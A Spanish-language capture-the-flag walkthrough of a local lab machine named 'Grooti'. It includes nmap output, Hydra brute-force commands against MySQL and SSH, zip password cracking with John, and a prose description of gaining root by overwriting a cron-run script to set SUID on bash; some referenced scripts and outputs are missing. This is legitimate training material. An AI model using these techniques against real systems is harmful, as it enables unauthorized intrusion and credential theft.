Cuando obtenemos el .zip nos lo pasamos al entorno en el que vamos a empezar a hackear la maquina y haremos lo siguiente.
unzipgrooti.zip
Nos lo descomprimira y despues montamos la maquina de la siguiente forma.
bashauto_deploy.shgrooti.tar
Info:
## .
## ## ## ==
## ## ## ## ===
/""""""""""""""""\___/ ===
~~~ {~~ ~~~~ ~~~ ~~~~ ~~ ~ / ===- ~~~
\______ o __/
\ \ __/
\____\______/
___ ____ ____ _ _ ____ ____ _ ____ ___ ____
| \ | | | |_/ |___ |__/ | |__| |__] [__
|__/ |__| |___ | \_ |___ | \ |___ | | |__] ___]
Estamos desplegando la máquina vulnerable, espere un momento.
Máquina desplegada, su dirección IP es --> 172.17.0.2
Presiona Ctrl+C cuando termines con la máquina para eliminarla
Por lo que cuando terminemos de hackearla, le damos a Ctrl+C y nos eliminara la maquina para que no se queden archivos basura.
Escaneo de puertos
Info:
Veremos en el puerto 80 que aloja una pagina web y algo mas interesante, tiene expuesto el puerto 3306 que corresponde con el de MySQL, por lo que vamos a enumerar estos dos puertos a ver que encontramos.
Si inspeccionamos la pagina del puerto 80 veremos la siguiente linea comentada:
Vemos que nos esta proporcionando un nombre de usuario para MySQL llamado Rocket por lo que vamos a probar a lanzar una fuerza bruta a MySQL con hydra de esta forma:
Hydra
Info:
Veremos que ha funcionado, por lo que vamos a conectarnos a la DDBB con dichas credenciales.
MySQL
Info:
Una vez que estemos dentro, vamos a realizar una enumeracion a ver que encontramos.
Info:
Veremos que hay una DDBB bastante interesante llamada files_secret si vemos que tablas tiene por dentro veremos lo siguiente:
Info:
Vamos a listar toda la informacion de dicha tabla...
Info:
Por lo que vemos parecen rutas a nivel de recursos web de la pagina, vamos a probar a ver cuales son las mas interesantes.
Si entramos a /unprivate/secret veremos como un acceso a la terminal pero con un formulario web que nos indica instrucciones de que debemos de hacer, vamos a investigar a ver que podemos aprovechar en este espacio.
Si ponemos un texto y despues un numero, se nos descarga un archivo Excel en el que aparece una palabra aleatoria, si volvemos a descargarnoslo aparece nuestro texto y asi con los demas numeros, vamos a ver cual de los numero no descarga un archivo de Excel o tiene otro contenido con un script:
findWeb.sh
Lo guardamos e instalamos lo siguiente:
Ahora lo ejecutamos de esta forma:
Info:
Vemos que en el numero 16 da un error, por lo que se puede deber a que no sea un archivo Excel si no que, pueda deberse a un archivo de otra cosa, vamos a comprobarlo metiendo el numero 16 y escribiendo cualquier cosa.
Si hacemos esto nos descargara un archivo .zip, si lo descomprimimos veremos lo siguiente:
Info:
Vemos que requiere de una contraseña, por lo que vamos a probar a crackearla con john de esta forma:
Info:
Veremos que nos ha crackeado la password, vamos a probarla en el archivo a ver si funciona.
Info:
Vemos que hemos extraido el archivo de forma correcta, vamos a ver que contiene:
Escalate user grooti
password16.txt
Vemos que son una serie de contraseñas para algun usuario suponemos del sistema, vamos a probarla con hydra por SSH a ver si hay suerte, con 2 usuarios en este caso grooti y rocket.
users.txt
Hydra (grooti)
Info:
Veremos que ha funcionado, por lo que vamos a conectarnos por SSH con dichas credenciales.
Metemos como contraseña YoSoYgRoOt y veremos que estaremos dentro.
Info:
Escalate Privileges
Si nos vamos a /tmp veremos un archivo .sh llamado malicious.sh que si listamos para ver los permisos que tiene veremos lo siguiente:
Vemos que podemos modificar dicho script, si leemos que hace el mismo...
Vemos que crea un archivo en la carpeta /tmp como si fuera un log y lo borra a los 2 segundos:
Veremos que efectivamente hay alguna tarea programada que esta ejecutando dicho script, pero esto en si, no nos interesa, vamos a borrar todo el contenido del script y poner esto:
Lo guardamos y solo tendremos que esperar un rato a que se ejecute por root.
Ahora despues de un rato si listamos la bash veremos lo siguiente:
Vemos que ya se establecieron los permisos SUID a la bash por lo que podremos hacer lo siguiente para ser root.
Info:
Veremos que con esto ya seremos root, por lo que habremos terminado la maquina y leeremos la flag de root.
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-28 06:57 EDT
Nmap scan report for packer.pw (172.17.0.2)
Host is up (0.000041s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 46:69:49:1a:d0:b7:26:05:90:a3:22:b2:a8:fe:fd:83 (ECDSA)
|_ 256 91:67:c5:15:53:13:af:6f:28:7d:1e:77:46:0c:c1:bb (ED25519)
80/tcp open http Apache httpd 2.4.58 ((Ubuntu))
|_http-server-header: Apache/2.4.58 (Ubuntu)
|_http-title: \xF0\x9F\x8C\xB1 Grooti's Web
3306/tcp open mysql MySQL 8.0.42-0ubuntu0.24.04.2
| ssl-cert: Subject: commonName=MySQL_Server_8.0.42_Auto_Generated_Server_Certificate
| Not valid before: 2025-07-18T22:37:08
|_Not valid after: 2035-07-16T22:37:08
|_ssl-date: TLS randomness does not represent time
| mysql-info:
| Protocol: 10
| Version: 8.0.42-0ubuntu0.24.04.2
| Thread ID: 11
| Capabilities flags: 65535
| Some Capabilities: LongColumnFlag, InteractiveClient, SupportsCompression, IgnoreSigpipes, Speaks41ProtocolOld, FoundRows, SupportsTransactions,
DontAllowDatabaseTableColumn, LongPassword, Speaks41ProtocolNew, IgnoreSpaceBeforeParenthesis, SupportsLoadDataLocal, ODBCClient, Support41Auth,
ConnectWithDatabase, SwitchToSSLAfterHandshake, SupportsAuthPlugins, SupportsMultipleResults, SupportsMultipleStatments
| Status: Autocommit
| Salt: "]uG.'\\x0C;I \x08z8:3IcZ
|
|_ Auth Plugin Name: caching_sha2_password
MAC Address: 02:42:AC:11:00:02 (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.01 seconds
<!--
I am Grooti...
Creo que Rocket ha entrado a mi base de datos...
-->
hydra -l rocket -P <WORDLIST> mysql://<IP> -t 64
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-07-28 07:01:14
[INFO] Reduced number of tasks to 4 (mysql does not like many parallel connections)
[DATA] max 4 tasks per 1 server, overall 4 tasks, 14344399 login tries (l:1/p:14344399), ~3586100 tries per task
[DATA] attacking mysql://172.17.0.2:3306/
[3306][mysql] host: 172.17.0.2 login: rocket password: password1
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-07-28 07:01:16
mysql -h <IP_ATTACKER> -u rocket -ppassword1 --ssl=0
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MySQL connection id is 80
Server version: 8.0.42-0ubuntu0.24.04.2 (Ubuntu)
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Support MariaDB developers by giving a star at https://github.com/MariaDB/server
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
MySQL [(none)]>
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
password1 (password16.zip/password16.txt)
1g 0:00:00:00 DONE (2025-07-28 07:22) 50.00g/s 819200p/s 819200c/s 819200C/s 123456..cocoliso
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-07-28 07:26:44
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 64 tasks per 1 server, overall 64 tasks, 68 login tries (l:2/p:34), ~2 tries per task
[DATA] attacking ssh://172.17.0.2:22/
[22][ssh] host: 172.17.0.2 login: grooti password: YoSoYgRoOt
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-07-28 07:26:50
ssh grooti@<IP>
Welcome to Ubuntu 24.04.2 LTS (GNU/Linux 6.12.13-amd64 x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
This system has been minimized by removing packages and content that are
not required on a system that users do not log into.
To restore this content, you can run the 'unminimize' command.
Last login: Sat Jul 19 17:10:56 2025 from 172.17.0.1
grooti@51201a2dbfaa:~$ whoami
grooti